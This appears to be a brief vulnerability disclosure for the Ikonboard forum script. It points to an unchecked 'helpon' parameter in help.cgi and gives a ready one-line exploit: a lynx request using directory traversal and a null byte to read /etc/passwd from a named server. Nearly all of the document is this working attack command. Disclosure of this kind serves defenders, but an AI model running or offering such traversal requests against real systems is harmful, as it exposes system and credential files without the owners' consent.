Name   : ikonboard
Problem: $inhelpon = $query -> param('helpon');

Exploit:

  lynx http://www.gmc-online.de/cgi-bin/ikonboard/help.cgi?helpon=../../../../../etc/passwd%00
                                                     by: Martin J. Muench (muench@gmc-online.de)